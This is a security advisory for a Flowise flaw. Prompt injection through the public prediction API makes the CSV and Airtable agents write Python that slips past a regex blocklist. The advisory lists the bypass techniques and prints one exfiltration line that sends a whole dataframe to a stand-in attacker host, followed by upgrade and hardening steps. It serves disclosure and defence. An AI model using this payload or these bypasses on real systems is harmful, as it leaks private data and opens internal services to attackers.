CVE-2026-73487: Flowise CSV and Airtable agents can be prompt-injected into leaking data and SSRF
In Flowise 3.1.2 and earlier, the CSV Agent and Airtable Agent check LLM-written Python with a regex blocklist that's easy to get around. A prompt sent to the public prediction API can make the agent send the whole dataset to an outside server or reach internal services.
What it is
Both nodes run model-generated pandas code in Pyodide after validatePythonCodeForDataFrame() checks it against 38 regex patterns. Anything that matches none of them runs.
The advisory lists several bypasses: pandas URL readers such as pd.read_json() aren't blocked, the \bimport\b rule doesn't match importlib, chr() can build blocked names at runtime, and np.ctypeslib can load native libraries.
The simplest one, pd.read_json("http://attacker/?d=" + df.to_json()), sends the loaded data to an attacker. The attack comes in through POST /api/v1/prediction/:id, which needs no login for a public chatflow.
How to check
- Affected: flowise and flowise-components (npm) <= 3.1.2.
- Look for chatflows that use the CSV Agent or Airtable Agent node, especially public ones.
How to fix
- Upgrade Flowise to 3.1.3 or later.
- Put an API key on chatflows that load private data, and limit outbound network access from the Flowise server.
npm ls flowise flowise-components